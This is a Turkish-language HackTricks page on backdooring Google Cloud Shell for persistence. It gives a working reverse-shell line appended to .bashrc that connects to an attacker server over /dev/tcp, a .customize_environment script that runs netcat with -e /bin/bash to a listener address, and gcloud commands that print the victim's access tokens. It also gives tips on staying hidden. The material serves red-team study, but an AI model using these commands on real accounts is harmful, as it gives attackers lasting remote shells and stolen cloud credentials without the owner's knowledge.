GCP - Cloud Shell Persistence

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

Cloud Shell

Daha fazla bilgi için kontrol edin:

GCP - Cloud Shell Enum

Kalıcı Arka Kapı

Google Cloud Shell, tarayıcınızdan doğrudan bulut kaynaklarınıza komut satırı erişimi sağlar ve herhangi bir ek maliyet olmadan.

Google'ın Cloud Shell'ine web konsolundan veya gcloud cloud-shell ssh komutunu çalıştırarak erişebilirsiniz.

Bu konsol, saldırganlar için bazı ilginç yeteneklere sahiptir:

  1. Google Cloud'a erişimi olan herhangi bir Google kullanıcısı, tam yetkilendirilmiş bir Cloud Shell örneğine erişebilir (Hizmet Hesapları, org'un Sahipleri bile olabilir).

  2. Söz konusu örnek, en az 120 gün boyunca ana dizinini koruyacaktır eğer hiçbir etkinlik olmazsa.

  3. Bu örneğin etkinliğini izlemek için bir organizasyonun yetenekleri yoktur.

Bu temelde, bir saldırgan kullanıcının ana dizinine bir arka kapı yerleştirebilir ve kullanıcı en az 120 günde bir GC Shell'e bağlandığı sürece arka kapı hayatta kalacak ve saldırgan her çalıştığında bir kabuk alacaktır sadece şunu yaparak:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Ev dizininde varsa .customize_environment adında başka bir dosya bulunmaktadır ve bu dosya, kullanıcının bulut kabuğuna her eriştiğinde çalıştırılacaktır (önceki teknikte olduğu gibi). Kullanıcının "sık sık" bulut kabuğunu kullandığı sürece kalıcılığı sürdürmek için önceki arka kapıyı veya aşağıdakine benzer birini ekleyin:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Önemli Not: İlk kez kimlik doğrulaması gerektiren bir işlem gerçekleştirildiğinde, kullanıcının tarayıcısında bir yetkilendirme penceresi belirir. Bu pencerenin kabul edilmesi gerekmektedir. Beklenmeyen bir pencere belirirse, şüphe uyandırabilir ve kullanılan kalıcılık yöntemini tehlikeye atabilir.

Bu, bulut kabuğundan (cloud shell) (saldırgan olarak) gcloud projects list komutunu çalıştırdığınızda tarayıcının kullanıcı oturumunda görünen pop-up'tır:

Ancak, kullanıcı bulut kabuğunu aktif olarak kullandıysa, pop-up belirmeyecek ve kullanıcının token'larını toplayabilirsiniz:

gcloud auth print-access-token
gcloud auth application-default print-access-token

SSH bağlantısının nasıl kurulduğu

Temel olarak, bu 3 API çağrısı kullanılır:

Ancak daha fazla bilgiyi https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key adresinde bulabilirsiniz.

Referanslar

Last updated